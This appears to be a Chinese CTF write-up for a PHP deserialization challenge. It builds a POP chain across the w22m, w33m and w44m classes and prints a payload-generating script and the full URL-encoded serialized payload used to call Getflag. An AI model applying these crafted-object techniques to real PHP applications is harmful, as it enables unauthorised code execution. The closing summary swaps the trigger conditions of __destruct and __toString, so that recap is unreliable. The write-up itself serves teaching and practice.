本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com


首先观察一下整段代码,再结合上面总结的魔术方法分析一下,
w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。
再想一下如何去调用这个函数,看下面这段代码。

这段代码中,
$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。
再再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m=new w44m();
$p->w00m->w22m='Getflag';
echo urlencode(serialize($p));
?>
代码分析:
- 创建了3个类
- $p = new w22m(); 创建了w22m类的对象 $p;
- 然后通过
$p->w00m = new w33m();给$p对象的$w00m属性赋值为一个w33m类的新对象。 - 接着
$p->w00m->w00m=new w44m();又给$p->w00m这个w33m对象的$w00m属性赋值为一个w44m类的新对象。 - 最后
$p->w00m->w22m='Getflag';给$p->w00m这个w33m对象的$w22m属性赋值为'Getflag'。
?w00m=
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

总结
逆向思维:

首先要获取flag,就要调用w44m类,要调用w44m类就要调用w33m类里的__toString()魔法函数,要调用这个魔法函数就要调用w22m的__destruct()魔法函数,要调用这个函数,就要创建w22m类,把序列化后的字符串赋值给w00m,并以get形式传递。
flag–>w44m–>w33m–>w22m–>get(w00m)
__destruct()和__toString()魔法函数
__destruct()一个对象被当作字符串时被调用
__toString()类删除时调用